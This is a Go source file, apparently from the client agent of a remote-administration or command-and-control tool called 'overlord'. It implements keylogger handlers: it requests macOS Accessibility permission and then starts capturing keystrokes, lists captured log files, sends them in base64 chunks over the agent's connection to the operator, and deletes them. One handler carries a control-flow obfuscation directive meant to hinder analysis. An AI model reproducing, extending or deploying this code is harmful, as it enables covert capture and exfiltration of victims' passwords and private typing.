2026-03-05 00:04:26 -06:00
|
|
|
package handlers
|
|
|
|
|
|
|
|
|
|
import (
|
|
|
|
|
"context"
|
|
|
|
|
"encoding/base64"
|
|
|
|
|
"log"
|
|
|
|
|
|
|
|
|
|
"overlord-client/cmd/agent/runtime"
|
|
|
|
|
"overlord-client/cmd/agent/wire"
|
|
|
|
|
)
|
|
|
|
|
|
2026-06-03 21:04:14 -05:00
|
|
|
// HandleKeylogRequestPermission handles the keylog_request_permission command.
|
|
|
|
|
// On macOS it triggers the Accessibility permission prompt and reports back
|
|
|
|
|
// whether permission was granted. On other platforms it reports that no
|
|
|
|
|
// permission gate exists and the keylogger is already running (or starts it).
|
|
|
|
|
func HandleKeylogRequestPermission(ctx context.Context, env *runtime.Env, cmdID string) error {
|
|
|
|
|
if env.Keylogger == nil {
|
|
|
|
|
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
|
|
|
|
|
"type": "keylog_permission_result",
|
|
|
|
|
"commandId": cmdID,
|
|
|
|
|
"granted": false,
|
|
|
|
|
"reason": "keylogger_disabled",
|
|
|
|
|
})
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
if !env.Keylogger.NeedsPermissionGate() {
|
|
|
|
|
// Non-macOS: keylogger doesn't need an explicit permission gate.
|
|
|
|
|
// Ensure it is running (it should already be) and report granted.
|
|
|
|
|
if !env.Keylogger.IsRunning() {
|
|
|
|
|
if err := env.Keylogger.Start(); err != nil {
|
|
|
|
|
log.Printf("[keylogger] start error: %v", err)
|
|
|
|
|
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
|
|
|
|
|
"type": "keylog_permission_result",
|
|
|
|
|
"commandId": cmdID,
|
|
|
|
|
"granted": false,
|
|
|
|
|
"reason": err.Error(),
|
|
|
|
|
})
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
|
|
|
|
|
"type": "keylog_permission_result",
|
|
|
|
|
"commandId": cmdID,
|
|
|
|
|
"granted": true,
|
|
|
|
|
"reason": "no_permission_gate",
|
|
|
|
|
})
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
// macOS: trigger the OS accessibility prompt and wait for the result.
|
|
|
|
|
log.Printf("[keylogger] macOS: requesting accessibility permission")
|
|
|
|
|
granted := env.Keylogger.RequestPermission()
|
|
|
|
|
|
|
|
|
|
if granted {
|
|
|
|
|
// Start the keylogger now that we have permission.
|
|
|
|
|
if !env.Keylogger.IsRunning() {
|
|
|
|
|
if err := env.Keylogger.Start(); err != nil {
|
|
|
|
|
log.Printf("[keylogger] start after permission grant failed: %v", err)
|
|
|
|
|
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
|
|
|
|
|
"type": "keylog_permission_result",
|
|
|
|
|
"commandId": cmdID,
|
|
|
|
|
"granted": false,
|
|
|
|
|
"reason": "start_failed: " + err.Error(),
|
|
|
|
|
})
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
log.Printf("[keylogger] macOS accessibility permission granted, keylogger started")
|
|
|
|
|
} else {
|
|
|
|
|
log.Printf("[keylogger] macOS accessibility permission denied")
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
reason := "granted"
|
|
|
|
|
if !granted {
|
|
|
|
|
reason = "user_denied"
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
|
|
|
|
|
"type": "keylog_permission_result",
|
|
|
|
|
"commandId": cmdID,
|
|
|
|
|
"granted": granted,
|
|
|
|
|
"reason": reason,
|
|
|
|
|
})
|
|
|
|
|
}
|
|
|
|
|
|
2026-03-05 00:04:26 -06:00
|
|
|
const MaxChunkSize = 256 * 1024
|
|
|
|
|
|
|
|
|
|
func HandleKeylogList(ctx context.Context, env *runtime.Env, cmdID string) error {
|
|
|
|
|
if env.Keylogger == nil {
|
|
|
|
|
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
|
|
|
|
|
"type": "command_result",
|
|
|
|
|
"commandId": cmdID,
|
|
|
|
|
"ok": false,
|
|
|
|
|
"message": "Keylogger not initialized",
|
|
|
|
|
})
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
env.Keylogger.FlushNow()
|
|
|
|
|
|
|
|
|
|
files, err := env.Keylogger.ListFiles()
|
|
|
|
|
if err != nil {
|
|
|
|
|
log.Printf("[keylogger] list error: %v", err)
|
|
|
|
|
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
|
|
|
|
|
"type": "command_result",
|
|
|
|
|
"commandId": cmdID,
|
|
|
|
|
"ok": false,
|
|
|
|
|
"message": err.Error(),
|
|
|
|
|
})
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
fileInfos := make([]map[string]interface{}, len(files))
|
|
|
|
|
for i, f := range files {
|
|
|
|
|
fileInfos[i] = map[string]interface{}{
|
|
|
|
|
"name": f.Name,
|
|
|
|
|
"size": f.Size,
|
|
|
|
|
"date": f.Date.Format("2006-01-02T15:04:05Z07:00"),
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
|
|
|
|
|
"type": "keylog_file_list",
|
|
|
|
|
"files": fileInfos,
|
|
|
|
|
})
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func HandleKeylogRetrieve(ctx context.Context, env *runtime.Env, cmdID string, filename string) error {
|
2026-04-20 13:46:59 -05:00
|
|
|
//garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2
|
2026-03-05 00:04:26 -06:00
|
|
|
if env.Keylogger == nil {
|
|
|
|
|
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
|
|
|
|
|
"type": "command_result",
|
|
|
|
|
"commandId": cmdID,
|
|
|
|
|
"ok": false,
|
|
|
|
|
"message": "Keylogger not initialized",
|
|
|
|
|
})
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
if filename == "" {
|
|
|
|
|
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
|
|
|
|
|
"type": "command_result",
|
|
|
|
|
"commandId": cmdID,
|
|
|
|
|
"ok": false,
|
|
|
|
|
"message": "Filename required",
|
|
|
|
|
})
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
env.Keylogger.FlushNow()
|
|
|
|
|
|
|
|
|
|
data, err := env.Keylogger.ReadFile(filename)
|
|
|
|
|
if err != nil {
|
|
|
|
|
log.Printf("[keylogger] read error: %v", err)
|
|
|
|
|
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
|
|
|
|
|
"type": "command_result",
|
|
|
|
|
"commandId": cmdID,
|
|
|
|
|
"ok": false,
|
|
|
|
|
"message": err.Error(),
|
|
|
|
|
})
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
if len(data) <= MaxChunkSize {
|
|
|
|
|
content := string(data)
|
|
|
|
|
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
|
|
|
|
|
"type": "keylog_file_content",
|
|
|
|
|
"filename": filename,
|
|
|
|
|
"content": content,
|
|
|
|
|
})
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
totalChunks := (len(data) + MaxChunkSize - 1) / MaxChunkSize
|
|
|
|
|
for i := 0; i < totalChunks; i++ {
|
|
|
|
|
start := i * MaxChunkSize
|
|
|
|
|
end := start + MaxChunkSize
|
|
|
|
|
if end > len(data) {
|
|
|
|
|
end = len(data)
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
chunk := data[start:end]
|
|
|
|
|
isLast := i == totalChunks-1
|
|
|
|
|
|
|
|
|
|
encoded := base64.StdEncoding.EncodeToString(chunk)
|
|
|
|
|
|
|
|
|
|
if err := wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
|
|
|
|
|
"type": "keylog_file_chunk",
|
|
|
|
|
"filename": filename,
|
|
|
|
|
"chunk": i,
|
|
|
|
|
"total": totalChunks,
|
|
|
|
|
"content": encoded,
|
|
|
|
|
"isLast": isLast,
|
|
|
|
|
"isEncoded": true,
|
|
|
|
|
}); err != nil {
|
|
|
|
|
log.Printf("[keylogger] send chunk error: %v", err)
|
|
|
|
|
return err
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
if isLast {
|
|
|
|
|
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
|
|
|
|
|
"type": "keylog_file_content",
|
|
|
|
|
"filename": filename,
|
|
|
|
|
"content": string(data),
|
|
|
|
|
})
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
return nil
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func HandleKeylogClearAll(ctx context.Context, env *runtime.Env, cmdID string) error {
|
|
|
|
|
if env.Keylogger == nil {
|
|
|
|
|
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
|
|
|
|
|
"type": "keylog_clear_result",
|
|
|
|
|
"commandId": cmdID,
|
|
|
|
|
"ok": false,
|
|
|
|
|
"error": "Keylogger not initialized",
|
|
|
|
|
})
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
err := env.Keylogger.ClearAll()
|
|
|
|
|
if err != nil {
|
|
|
|
|
log.Printf("[keylogger] clear error: %v", err)
|
|
|
|
|
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
|
|
|
|
|
"type": "keylog_clear_result",
|
|
|
|
|
"commandId": cmdID,
|
|
|
|
|
"ok": false,
|
|
|
|
|
"error": err.Error(),
|
|
|
|
|
})
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
|
|
|
|
|
"type": "keylog_clear_result",
|
|
|
|
|
"ok": true,
|
|
|
|
|
})
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
func HandleKeylogDelete(ctx context.Context, env *runtime.Env, cmdID string, filename string) error {
|
|
|
|
|
if env.Keylogger == nil {
|
|
|
|
|
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
|
|
|
|
|
"type": "keylog_delete_result",
|
|
|
|
|
"commandId": cmdID,
|
|
|
|
|
"ok": false,
|
|
|
|
|
"error": "Keylogger not initialized",
|
|
|
|
|
})
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
if filename == "" {
|
|
|
|
|
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
|
|
|
|
|
"type": "keylog_delete_result",
|
|
|
|
|
"commandId": cmdID,
|
|
|
|
|
"ok": false,
|
|
|
|
|
"error": "Filename required",
|
|
|
|
|
})
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
if err := env.Keylogger.DeleteFile(filename); err != nil {
|
|
|
|
|
log.Printf("[keylogger] delete error: %v", err)
|
|
|
|
|
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
|
|
|
|
|
"type": "keylog_delete_result",
|
|
|
|
|
"commandId": cmdID,
|
|
|
|
|
"ok": false,
|
|
|
|
|
"error": err.Error(),
|
|
|
|
|
"filename": filename,
|
|
|
|
|
})
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
return wire.WriteMsg(ctx, env.Conn, map[string]interface{}{
|
|
|
|
|
"type": "keylog_delete_result",
|
|
|
|
|
"ok": true,
|
|
|
|
|
"filename": filename,
|
|
|
|
|
})
|
|
|
|
|
}
|